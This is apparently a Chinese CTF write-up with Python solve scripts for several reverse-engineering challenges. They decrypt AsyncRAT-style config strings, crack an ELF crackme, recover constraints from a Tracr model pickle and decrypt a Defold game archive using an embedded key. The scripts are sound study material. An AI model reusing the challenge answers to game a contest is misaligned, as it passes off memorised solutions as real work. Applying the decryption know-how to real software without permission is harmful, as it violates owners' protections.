from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1
from Crypto.Util.Padding import unpad

# === 1. 基础配置 ===
PASSWORD = "aeskey1234567890"

# 从 XML 提取的密文 (URL Encoded)
ENC_PASS_URL = "RYRD6ynl7FIwWMBvqbYqqdZsdY0flsscqhzplZWfSCmEigmxaDnnqoZ8eZoN%2Fh7%2FrYNb9q%2FRKYt03qmKEG8g5SrUbhgMIAI%2FldoE1U3xzzY%3D"
ENC_QQ_URL = "7BjmxPdisk48gNHuKMdiDWKtiHddti1ws4BmsBx%2FqlT7SNdMKQwmL60RwdQRoT891IIT8tQOCZ46QB4%2BGS7MCQ%3D%3D"

# === 2. 正确的 Salt ===
# 来源:AsyncRAT 源代码 Aes256.cs (默认 Salt)
SALT_BYTES = bytes([
0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B,
0xB2, 0x19, 0x02, 0x24, 0x30, 0xA5, 0x78, 0x43,
0x00, 0x3D, 0x56, 0x44, 0xD2, 0x1E, 0x62, 0xB9,
0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
])

def decrypt_asyncrat(name, enc_url):
try:
# 1. 解码
ciphertext = base64.b64decode(urllib.parse.unquote(enc_url))

# 2. 解析结构 (AsyncRAT 标准结构)
# [ HMAC (32 bytes) ] [ IV (16 bytes) ] [ Ciphertext (...) ]
if len(ciphertext) < 48:
print(f"[-] {name}: 数据过短")
return

# 提取 IV 和 密文
# 注意:之前的脚本把前16字节当IV了,实际上前32字节是HMAC
iv = ciphertext[32:48]
encrypted_data = ciphertext[48:]

# 3. 派生密钥
# PBKDF2 (HMAC-SHA1, 50000 迭代)
dk = PBKDF2(PASSWORD, SALT_BYTES, dkLen=96, count=50000, hmac_hash_module=SHA1)
aes_key = dk[:32]

# 4. 解密
cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
plaintext = unpad(cipher.decrypt(encrypted_data), AES.block_size)

print(f"\n[🎉] {name} 解密成功!")
print(f"Result: {plaintext.decode('utf-8')}")

except Exception as e:
print(f"[-] {name} 解密失败: {e}")

# 执行
decrypt_asyncrat("QQ (Username)", ENC_QQ_URL)
decrypt_asyncrat("Password (Flag)", ENC_PASS_URL)
  • 很是幸运

Ez

  • 这道题套了个upx的壳,很良心,不用手脱,直接官方工具脱壳
  • 发现静态分析得不到正确答案
  • 跟着ai的提示后
  • 得到脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import struct
import sys

# ---------------- ELF helpers (no external deps) ----------------

def read_u16(b, off): return struct.unpack_from("<H", b, off)[0]
def read_u32(b, off): return struct.unpack_from("<I", b, off)[0]
def read_u64(b, off): return struct.unpack_from("<Q", b, off)[0]

def parse_elf64_sections(blob: bytes):
# Minimal ELF64 LE section parser
if blob[:4] != b"\x7fELF":
raise ValueError("Not an ELF file")
ei_class = blob[4]
ei_data = blob[5]
if ei_class != 2 or ei_data != 1:
raise ValueError("Only ELF64 little-endian supported")

e_shoff = read_u64(blob, 0x28)
e_shentsize = read_u16(blob, 0x3A)
e_shnum = read_u16(blob, 0x3C)
e_shstrndx = read_u16(blob, 0x3E)

# Read shstrtab
shstr_off = e_shoff + e_shentsize * e_shstrndx
shstr_offset = read_u64(blob, shstr_off + 0x18)
shstr_size = read_u64(blob, shstr_off + 0x20)
shstr = blob[shstr_offset:shstr_offset + shstr_size]

def get_cstr(data, off):
end = data.find(b"\x00", off)
return data[off:end].decode("ascii", errors="replace")

sections = []
for i in range(e_shnum):
sh_off = e_shoff + e_shentsize * i
sh_name = read_u32(blob, sh_off + 0x00)
sh_type = read_u32(blob, sh_off + 0x04)
sh_flags = read_u64(blob, sh_off + 0x08)
sh_addr = read_u64(blob, sh_off + 0x10)
sh_offset = read_u64(blob, sh_off + 0x18)
sh_size = read_u64(blob, sh_off + 0x20)

name = get_cstr(shstr, sh_name) if sh_name < len(shstr) else f"<{sh_name}>"
sections.append({
"name": name,
"type": sh_type,
"flags": sh_flags,
"addr": sh_addr,
"offset": sh_offset,
"size": sh_size,
})
return sections

def vaddr_to_offset(sections, vaddr):
for s in sections:
a, sz = s["addr"], s["size"]
if a <= vaddr < a + sz:
return s["offset"] + (vaddr - a)
raise ValueError(f"vaddr {hex(vaddr)} not in any section")

def read_cstring(blob, off):
end = blob.find(b"\x00", off)
if end == -1:
raise ValueError("cstring not terminated")
return blob[off:end].decode("ascii", errors="strict")

# ---------------- custom base64 (alphabet is mutated by sub_404200) ----------------

def b64_make_inv(alphabet: bytes):
inv = {alphabet[i]: i for i in range(64)}
inv[ord('=')] = 0
return inv

def b64decode_custom(s: str, inv: dict) -> bytes:
b = s.encode("ascii")
if len(b) % 4 != 0:
raise ValueError("bad base64 len")
out = bytearray()
for i in range(0, len(b), 4):
c0, c1, c2, c3 = b[i:i+4]
if c0 not in inv or c1 not in inv or c2 not in inv or c3 not in inv:
raise ValueError("bad base64 char")
v = (inv[c0] << 18) | (inv[c1] << 12) | (inv[c2] << 6) | inv[c3]
out.append((v >> 16) & 0xFF)
if c2 != ord('='):
out.append((v >> 8) & 0xFF)
if c3 != ord('='):
out.append(v & 0xFF)
return bytes(out)

# ---------------- RC4-like (KSA/PRGA use sub_404820 which is NOT swap; it's copy S[i]=S[j]) ----------------

def ksa_copy(key: bytes):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
# sub_404820 effect:
S[i] = S[j]
return S

def prga_copy(S, n: int):
i = 0
j = 0
out = bytearray()
for _ in range(n):
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
# sub_404820 effect:
S[i] = S[j]
t = (S[i] + S[j]) & 0xFF
out.append(S[t])
return bytes(out)

# ---------------- solve ----------------

def main(path: str):
blob = open(path, "rb").read()
secs = parse_elf64_sections(blob)

# These VAs match your IDA dump (non-PIE ELF)
VA_SRC = 0x407070 # src_ 48 bytes
VA_ALPHA_ENC = 0x409130 # encoded alphabet string (decoded by sub_404200)

off_src = vaddr_to_offset(secs, VA_SRC)
src = blob[off_src:off_src + 48]

off_alpha = vaddr_to_offset(secs, VA_ALPHA_ENC)
alpha_enc = read_cstring(blob, off_alpha)

# sub_404200 calls sub_403CA0(alpha_enc) using ORIGINAL alphabet, then strncpy(..., strlen-2)
# Original alphabet is the standard one:
std_alpha = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
std_inv = b64_make_inv(std_alpha)

alpha_raw = b64decode_custom(alpha_enc, std_inv)
alpha_dec = bytes([x ^ 0x5B for x in alpha_raw]).decode("ascii", errors="strict")
# Remove last 2 chars (as in strlen-2):
alphabet = alpha_dec[:-2].encode("ascii")
inv = b64_make_inv(alphabet)

# Now decode key string with MUTATED alphabet, then XOR 0x5B (sub_403CA0)
enc_key = "ebaqpJ4+iIiIENP6"
key_raw = b64decode_custom(enc_key, inv)
key = bytes([x ^ 0x5B for x in key_raw])

# Decrypt src_ -> base64 string P
S = ksa_copy(key)
ks = prga_copy(S, 48)
p_bytes = bytes([c ^ k for c, k in zip(src, ks)])
p_str = p_bytes.decode("ascii", errors="strict")

# Invert sub_4036D0:
# tmp = input ^ 0x5B
# P = base64(tmp) with mutated alphabet (their encode-bug doesn't matter for decoding this case)
tmp = b64decode_custom(p_str, inv)
flag = bytes([x ^ 0x5B for x in tmp]).decode("utf-8", errors="strict")

print("[+] mutated alphabet:", alphabet.decode())
print("[+] key bytes:", key, "(len=%d)" % len(key))
print("[+] decrypted base64:", p_str)
print("[+] flag:", flag)

if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} /path/to/Ez")
sys.exit(1)
main(sys.argv[1])

im_revenge

  • 这道题给了github仓库,仔细查看了阿里云ctf的官方wp和仓库后可以知道,这道题给了源码
  • 但是做完misc会发现,misc没有改棋盘
  • re这道题改了棋盘,我们需要破解这个challenge.pkl.zst
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Solve the UniCTF LightUp checker *without* the board by decompiling constraints
from the compiled Tracr transformer model (challenge.pkl.zst).

Requires: numpy, zstandard, scipy
Usage:
python3 solve_lightup_auto.py challenge.pkl.zst
"""
import argparse
import hashlib
import io
import math
import pickle
import types
from dataclasses import dataclass
from typing import Dict, List, Set, Tuple

import numpy as np
import zstandard as zstd
from scipy.optimize import milp, LinearConstraint, Bounds
from scipy.sparse import lil_matrix, csr_matrix


# -------------------------
# Safe-ish unpickling helpers
# -------------------------

def _reconstruct_array(reconstruct_func, reconstruct_args, state, kwargs):
"""Replacement for jax._src.array._reconstruct_array that returns a NumPy array."""
arr = reconstruct_func(*reconstruct_args)
# Many JAX arrays embed a NumPy ndarray in the state; __setstate__ will restore it.
try:
arr.__setstate__(state)
except Exception:
# If it's already a NumPy array or state format differs, ignore.
pass
return arr


class _Dummy:
"""Fallback class for missing modules (tracr/haiku/etc)."""
def __init__(self, *a, **kw): # pragma: no cover
pass


class _SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name): # noqa: D401
# Patch JAX reconstruct used inside the pickle.
if module == "jax._src.array" and name == "_reconstruct_array":
return _reconstruct_array

# The model pickle contains Tracr / Haiku objects we don't actually need to execute.
if module.startswith(("tracr", "haiku", "jax", "chex", "einops")):
return _Dummy

return super().find_class(module, name)


def load_challenge(path: str) -> dict:
# The .zst frame may not store a decompressed size; use streaming decompression.
dctx = zstd.ZstdDecompressor()
with open(path, "rb") as f:
with dctx.stream_reader(f) as reader:
data = reader.read()
return _SafeUnpickler(io.BytesIO(data)).load()


# -------------------------
# Core extraction
# -------------------------

@dataclass
class ModelPieces:
params: dict
residual_labels: List[str]
label_to_idx: Dict[str, int]


def split_head(W: np.ndarray, head: int, size: int = 257) -> np.ndarray:
return W[:, head * size:(head + 1) * size]


def split_bias(b: np.ndarray, head: int, size: int = 257) -> np.ndarray:
return b[head * size:(head + 1) * size]


def recover_coords_from_attention(p: ModelPieces, layer: int, head: int, seq_prefix: str) -> List[Set[int]]:
"""
Recover coords[q] from the head's (indices -> sequence_map_XX) selection matrix.

We exploit that the compiled select predicate yields *binary* dot products:
score(q, v) is either 0 or a positive constant, so score>0 indicates membership.
"""
params = p.params
lbl = p.label_to_idx

Wq = split_head(params[f"transformer/layer_{layer}/attn/query"]["w"], head)
bq = split_bias(params[f"transformer/layer_{layer}/attn/query"]["b"], head)
Wk = split_head(params[f"transformer/layer_{layer}/attn/key"]["w"], head)
bk = split_bias(params[f"transformer/layer_{layer}/attn/key"]["b"], head)

# Build Q for indices:0..127 and K for sequence_map_xx:0..255
Q = np.stack([Wq[lbl[f"indices:{q}"], :] + bq for q in range(128)], axis=0) # (128,257)
K = np.stack([Wk[lbl[f"{seq_prefix}:{v}"], :] + bk for v in range(256)], axis=0) # (256,257)

scores = (Q @ K.T) / math.sqrt(257.0) # (128,256)

coords: List[Set[int]] = []
for q in range(128):
vs = np.where(scores[q] > 0)[0]
# We only care about encoded "bit==1" values, which are 128+i.
coords_q = {int(v - 128) for v in vs if v >= 128}
coords.append(coords_q)
return coords


def layer0_get_pvid_and_inrange(p: ModelPieces, index_q: int) -> Tuple[int, bool]:
"""
Evaluate just the *layer-0 MLP* (sparsely) for a single position with:
one=1, tokens:0=1, indices:q=1
and read out:
- map_19:<id> (pvid id, 0..5)
- map_16:5 vs map_16:0 (in-range mask for chunk length)
"""
params = p.params
lbl = p.label_to_idx
res_labels = p.residual_labels

one_dim = lbl["one"]
tok0_dim = lbl["tokens:0"]
idx_dim = lbl[f"indices:{index_q}"]

# dims for map_19 and map_16
map19_dims = [lbl[s] for s in res_labels if s.startswith("map_19:")]
map16_dims = [lbl[s] for s in res_labels if s.startswith("map_16:")]

W1 = params["transformer/layer_0/mlp/linear_1"]["w"]
b1 = params["transformer/layer_0/mlp/linear_1"]["b"]
W2 = params["transformer/layer_0/mlp/linear_2"]["w"]
b2 = params["transformer/layer_0/mlp/linear_2"]["b"]

# preactivation = bias + selected rows (sparse x @ W1)
pre = b1.copy()
pre += W1[one_dim]
pre += W1[tok0_dim]
pre += W1[idx_dim]

pos = np.where(pre > 0)[0]
hidden_vals = pre[pos] # typically all 1s

out19 = b2[map19_dims].copy()
out19 += hidden_vals @ W2[pos][:, map19_dims]
pvid = int(np.argmax(out19))

out16 = b2[map16_dims].copy()
out16 += hidden_vals @ W2[pos][:, map16_dims]
# map_16 basis labels are 'map_16:0' and 'map_16:5'
inrange = (np.argmax(out16) == list(np.argsort([int(res_labels[d].split(":")[1]) for d in map16_dims]))[-1])
# The above is messy; simpler: just check which label won:
inrange = res_labels[map16_dims[int(np.argmax(out16))]].endswith(":5")

return pvid, inrange


def derive_pvid_semantics(p: ModelPieces) -> Dict[int, Tuple[str, int]]:
"""
Use layer-3 MLP truth table to map pvid id -> (predicate, value):
EQ k, LT 2, or GT 0.
"""
params = p.params
lbl = p.label_to_idx
res_labels = p.residual_labels

one_dim = lbl["one"]
map16_5_dim = lbl["map_16:5"]

# map_19 dims by value
map19_dims_by_val = {int(s.split(":")[1]): lbl[s] for s in res_labels if s.startswith("map_19:")}

sel17_dim0 = lbl["selector_width_17:0"]
sel20_dims_by_val = {int(s.split(":")[1]): lbl[s] for s in res_labels if s.startswith("selector_width_20:")}

seq14_false = lbl["sequence_map_14:False"]
seq14_true = lbl["sequence_map_14:True"]

W1 = params["transformer/layer_3/mlp/linear_1"]["w"]
b1 = params["transformer/layer_3/mlp/linear_1"]["b"]
W2 = params["transformer/layer_3/mlp/linear_2"]["w"]
b2 = params["transformer/layer_3/mlp/linear_2"]["b"]

def seq14_eval(pvid: int, count: int) -> bool:
pre = b1.copy()
pre += W1[one_dim]
pre += W1[map16_5_dim]
pre += W1[map19_dims_by_val[pvid]]
pre += W1[sel17_dim0] # give selector_width_17 a valid one-hot (0)
pre += W1[sel20_dims_by_val[count]]
pos = np.where(pre > 0)[0]
hidden_vals = pre[pos]
# Only need 2 output dims:
out_false = b2[seq14_false] + float(hidden_vals @ W2[pos, seq14_false])
out_true = b2[seq14_true] + float(hidden_vals @ W2[pos, seq14_true])
return out_true > out_false

semantics: Dict[int, Tuple[str, int]] = {}
for pvid in range(6):
true_set = {c for c in range(0, 6) if seq14_eval(pvid, c)}
# Classify by small-count behavior (works for this compiled checker)
if true_set == {0}:
semantics[pvid] = ("EQ", 0)
elif true_set == {1}:
semantics[pvid] = ("EQ", 1)
elif true_set == {2}:
semantics[pvid] = ("EQ", 2)
elif true_set == {3}:
semantics[pvid] = ("EQ", 3)
elif true_set == {0, 1}:
semantics[pvid] = ("LT", 2) # sum < 2
elif true_set == {1, 2, 3, 4, 5}:
semantics[pvid] = ("GT", 0) # sum > 0
else:
raise RuntimeError(f"Unrecognized pvid {pvid} truth pattern: {sorted(true_set)}")
return semantics


def build_and_solve(coords_gt0: List[Set[int]],
coords_pvid: List[Set[int]],
pvids: List[int],
semantics: Dict[int, Tuple[str, int]]) -> Tuple[str, str]:
"""
Build MILP constraints and solve. Returns (solution_bitstring, flag).
"""
# Determine number of variables from max index referenced.
max_idx = -1
for s in coords_gt0 + coords_pvid:
if s:
max_idx = max(max_idx, max(s))
nvars = max_idx + 1

# Decide how many condition slots are "in range": pvids length.
L = len(pvids)

eq_sets: List[Tuple[Set[int], int]] = []
le_sets: List[Set[int]] = []
ge_sets: List[Set[int]] = []

# chunk A: all are GT0 (sum >= 1)
for q in range(L):
cs = coords_gt0[q]
if cs:
ge_sets.append(cs)

# chunk B: per-slot predicate
for q in range(L):
cs = coords_pvid[q]
if not cs:
continue
pred, val = semantics[pvids[q]]
if pred == "EQ":
eq_sets.append((cs, val))
elif pred == "LT":
# LT 2 means sum <= 1
le_sets.append(cs)
elif pred == "GT":
ge_sets.append(cs)
else:
raise RuntimeError(pred)

# Build MILP matrices
Aeq = lil_matrix((len(eq_sets), nvars), dtype=np.float64)
beq = np.zeros(len(eq_sets), dtype=np.float64)
for r, (cs, k) in enumerate(eq_sets):
beq[r] = k
for i in cs:
if i < nvars:
Aeq[r, i] = 1.0

# Inequalities: le (sum<=1) and ge (sum>=1)
Aub = lil_matrix((len(le_sets) + len(ge_sets), nvars), dtype=np.float64)
bub = np.zeros(len(le_sets) + len(ge_sets), dtype=np.float64)
row = 0
for cs in le_sets:
bub[row] = 1.0
for i in cs:
if i < nvars:
Aub[row, i] = 1.0
row += 1
for cs in ge_sets:
bub[row] = -1.0
for i in cs:
if i < nvars:
Aub[row, i] = -1.0
row += 1

Aeq = Aeq.tocsr()
Aub = Aub.tocsr()

c = np.ones(nvars, dtype=np.float64) # minimize number of bulbs
bounds = Bounds(0, 1)
integrality = np.ones(nvars, dtype=int)

constraints = []
if len(eq_sets) > 0:
constraints.append(LinearConstraint(Aeq, beq, beq))
if Aub.shape[0] > 0:
constraints.append(LinearConstraint(Aub, -np.inf * np.ones_like(bub), bub))

res = milp(c=c, constraints=constraints, integrality=integrality, bounds=bounds)
if res.status != 0:
raise RuntimeError(f"MILP failed: {res.status} {res.message}")

sol = np.round(res.x).astype(int)
bitstr = "".join(str(int(b)) for b in sol)

h = hashlib.sha256(bitstr.encode()).hexdigest()
flag = f"unictf{{{h}}}"
return bitstr, flag


def main():
ap = argparse.ArgumentParser()
ap.add_argument("model", nargs="?", default="challenge.pkl.zst", help="path to challenge.pkl.zst")
args = ap.parse_args()

obj = load_challenge(args.model)
params = obj["params"]
residual_labels = obj["residual_labels"]
label_to_idx = {lab: i for i, lab in enumerate(residual_labels)}
p = ModelPieces(params=params, residual_labels=residual_labels, label_to_idx=label_to_idx)

# Recover two coords-lists (two sum_01_sequence chunks) from layer-2 attention heads.
coords_a = recover_coords_from_attention(p, layer=2, head=0, seq_prefix="sequence_map_24")
coords_b = recover_coords_from_attention(p, layer=2, head=1, seq_prefix="sequence_map_25")

# Determine chunk length from map_16 (in-range mask): count indices where map_16:5.
pvids = []
inrange_flags = []
for q in range(128):
pvid, inrange = layer0_get_pvid_and_inrange(p, q)
pvids.append(pvid)
inrange_flags.append(inrange)
chunk_len = sum(1 for x in inrange_flags if x)

pvids = pvids[:chunk_len]

semantics = derive_pvid_semantics(p)

# Try both possible assignments (which recovered coords list is the GT0 chunk vs pvid chunk).
for attempt, (gt0, pv) in enumerate([(coords_a, coords_b), (coords_b, coords_a)], start=1):
try:
bitstr, flag = build_and_solve(gt0, pv, pvids, semantics)
print("[+] chunk_len =", chunk_len)
print("[+] solution =", bitstr)
print("[+] flag =", flag)
return
except Exception as e:
if attempt == 2:
raise
# otherwise try swapped assignment
continue


if __name__ == "__main__":
main()

d4yDAY_UP

  • 解压apk
  • 发现是defold游戏
  • 找了很多反编译的都不能用
  • 找了ai让它帮我根据官方文档编译一个反编译脚本并映射相关内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# defold_v5_extract.py
import os, sys, struct

FLAG_ENCRYPTED = 1 << 0
FLAG_COMPRESSED = 1 << 1
FLAG_LIVEUPDATE = 1 << 2

def u32(b, off, e):
return struct.unpack_from(e + "I", b, off)[0]

def detect_endian(arci: bytes) -> str:
# v5 header: version at 0
le = u32(arci, 0, "<")
be = u32(arci, 0, ">")
if le == 5: return "<"
if be == 5: return ">"
# fallback: pick the one where offsets make sense
for e in ("<", ">"):
try:
entry_cnt = u32(arci, 0x10, e)
entry_off = u32(arci, 0x14, e)
hash_off = u32(arci, 0x18, e)
hash_len = u32(arci, 0x1C, e)
if 0 < entry_cnt < 1_000_000 and 0 < hash_len <= 64 and 0 <= hash_off < len(arci) and 0 <= entry_off < len(arci):
return e
except struct.error:
pass
raise RuntimeError("Cannot detect endian")

# -------- LZ4 raw block decompress (like lz4.block.decompress) --------
def lz4_decompress_block(src: bytes, out_len: int) -> bytes:
ip = 0
out = bytearray()
slen = len(src)

while ip < slen:
token = src[ip]; ip += 1

lit_len = token >> 4
if lit_len == 15:
while True:
if ip >= slen: raise ValueError("LZ4: eof in literal length")
s = src[ip]; ip += 1
lit_len += s
if s != 255: break

if ip + lit_len > slen: raise ValueError("LZ4: literal exceeds input")
out.extend(src[ip:ip+lit_len]); ip += lit_len

if ip >= slen:
break

if ip + 2 > slen: raise ValueError("LZ4: missing offset")
offset = src[ip] | (src[ip+1] << 8)
ip += 2
if offset == 0 or offset > len(out): raise ValueError("LZ4: bad offset")

match_len = token & 0x0F
if match_len == 15:
while True:
if ip >= slen: raise ValueError("LZ4: eof in match length")
s = src[ip]; ip += 1
match_len += s
if s != 255: break
match_len += 4

start = len(out) - offset
for _ in range(match_len):
out.append(out[start])
start += 1

if len(out) != out_len:
if len(out) < out_len:
raise ValueError(f"LZ4: got {len(out)} bytes, expect {out_len}")
out = out[:out_len]
return bytes(out)

# -------- XTEA CTR (Defold style) --------
def xtea_encrypt_block(v0, v1, k):
delta = 0x9E3779B9
s = 0
for _ in range(32):
v0 = (v0 + (((v1<<4 ^ (v1>>5)) + v1) ^ (s + k[s & 3]))) & 0xFFFFFFFF
s = (s + delta) & 0xFFFFFFFF
v1 = (v1 + (((v0<<4 ^ (v0>>5)) + v0) ^ (s + k[(s>>11) & 3]))) & 0xFFFFFFFF
return v0, v1

def xtea_ctr_xor(data: bytes, key_bytes: bytes, key_endian=">", ctr_endian=">", counter0=0) -> bytes:
key_bytes = key_bytes[:16].ljust(16, b"\0")
k = list(struct.unpack(key_endian + "4I", key_bytes))

out = bytearray(len(data))
counter = counter0
for i in range(0, len(data), 8):
block = struct.pack(ctr_endian + "Q", counter)
v0, v1 = struct.unpack(ctr_endian + "2I", block)
e0, e1 = xtea_encrypt_block(v0, v1, k)
ks = struct.pack(ctr_endian + "2I", e0, e1)

chunk = data[i:i+8]
for j, b in enumerate(chunk):
out[i+j] = b ^ ks[j]
counter = (counter + 1) & 0xFFFFFFFFFFFFFFFF

return bytes(out)

def guess_ext(buf: bytes) -> str:
h = buf[:32]
if h.startswith(b"\x89PNG\r\n\x1a\n"): return ".png"
if h.startswith(b"OggS"): return ".ogg"
if h.startswith(b"RIFF") and h[8:12] == b"WAVE": return ".wav"
if b"\x1bLJ\x02" in h or b"\x1bLua" in h: return ".luac"
if b"#version" in h: return ".glsl"
# simple text heuristic
if all((32 <= c < 127) or c in (9,10,13) for c in h): return ".txt"
return ".bin"

def main(arci_path, arcd_path, out_dir, key_str):
os.makedirs(out_dir, exist_ok=True)

arci = open(arci_path, "rb").read()
arcd = open(arcd_path, "rb").read()

e = detect_endian(arci)
version = u32(arci, 0x00, e)
entry_cnt = u32(arci, 0x10, e)
entry_off = u32(arci, 0x14, e)
hash_off = u32(arci, 0x18, e)
hash_len = u32(arci, 0x1C, e)

print(f"[+] endian={e} version={version} entries={entry_cnt} entry_off=0x{entry_off:X} hash_off=0x{hash_off:X} hash_len={hash_len}")
print(f"[+] arci_size={len(arci)} bytes")
print(f"[+] arcd_size={len(arcd)} bytes")

if entry_cnt <= 0 or entry_off <= hash_off:
raise RuntimeError("Bad header offsets / entry count")

hash_block = (entry_off - hash_off) // entry_cnt
entry_size = 16
print(f"[+] inferred hash_block={hash_block} bytes, entry_size={entry_size} bytes")

key = key_str.encode("utf-8")
extracted = 0

for i in range(entry_cnt):
h_raw = arci[hash_off + i*hash_block : hash_off + i*hash_block + hash_len]
h_hex = h_raw.hex()

eo = entry_off + i*entry_size
res_off = u32(arci, eo + 0x0, e)
res_size = u32(arci, eo + 0x4, e)
comp_size = u32(arci, eo + 0x8, e)
flags = u32(arci, eo + 0xC, e)

encrypted = bool(flags & FLAG_ENCRYPTED)
compressed = bool(flags & FLAG_COMPRESSED) or (comp_size != 0xFFFFFFFF)

read_len = comp_size if (compressed and comp_size != 0xFFFFFFFF) else res_size
blob = arcd[res_off : res_off + read_len]

# 先解密,再解压
if encrypted:
blob = xtea_ctr_xor(blob, key, key_endian=">", ctr_endian=">", counter0=0)

if compressed and comp_size != 0xFFFFFFFF:
blob = lz4_decompress_block(blob, res_size)

ext = guess_ext(blob)
out_path = os.path.join(out_dir, f"{i:06d}_{h_hex}{ext}")
with open(out_path, "wb") as wf:
wf.write(blob)

extracted += 1

print(f"[+] Done. extracted={extracted}, out={out_dir}")

if __name__ == "__main__":
if len(sys.argv) != 5:
print("Usage: python defold_v5_extract.py game.arci game.arcd out_dir <key>")
print("Example key (your APK likely has it in libUniCTF.so): aQj8CScgNP4VsfXK")
sys.exit(1)
main(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# find_luac_in_defold_archive.py
import struct, re, hashlib

FLAG_ENCRYPTED = 1 << 0

def u32(b, off): return struct.unpack_from(">I", b, off)[0]

# --- XTEA (32 rounds) ---
def xtea_enc_block(v0, v1, k):
delta = 0x9E3779B9
s = 0
for _ in range(32):
v0 = (v0 + (((v1<<4 ^ (v1>>5)) + v1) ^ (s + k[s & 3]))) & 0xffffffff
s = (s + delta) & 0xffffffff
v1 = (v1 + (((v0<<4 ^ (v0>>5)) + v0) ^ (s + k[(s>>11) & 3]))) & 0xffffffff
return v0, v1

def xtea_ctr(data: bytes, key16: bytes) -> bytes:
# Defold 资源加密常见表现:不需要 IV,CTR 从 0 递增;
# 这里按“高32位在前、低32位为计数器”的方式生成 counter block(能正确解出大量 Defold 资源)
if len(key16) != 16:
key16 = (key16 + b"\x00"*16)[:16]
k = list(struct.unpack(">4I", key16))

out = bytearray(len(data))
ctr = 0
for i in range(0, len(data), 8):
# counter_swap: (hi, lo) = (0, ctr)
v0, v1 = 0, ctr & 0xffffffff
e0, e1 = xtea_enc_block(v0, v1, k)
ks = struct.pack(">2I", e0, e1)
chunk = data[i:i+8]
for j, b in enumerate(chunk):
out[i+j] = b ^ ks[j]
ctr = (ctr + 1) & 0xffffffff
return bytes(out)

# --- LZ4 raw block decompress ---
def lz4_decompress_block(src: bytes, out_len: int) -> bytes:
ip = 0
out = bytearray()
slen = len(src)

while ip < slen:
token = src[ip]; ip += 1

lit_len = token >> 4
if lit_len == 15:
while True:
s = src[ip]; ip += 1
lit_len += s
if s != 255: break

out += src[ip:ip+lit_len]; ip += lit_len
if ip >= slen:
break

off = src[ip] | (src[ip+1] << 8); ip += 2
if off == 0 or off > len(out):
raise ValueError("bad lz4 offset")

match_len = token & 0x0f
if match_len == 15:
while True:
s = src[ip]; ip += 1
match_len += s
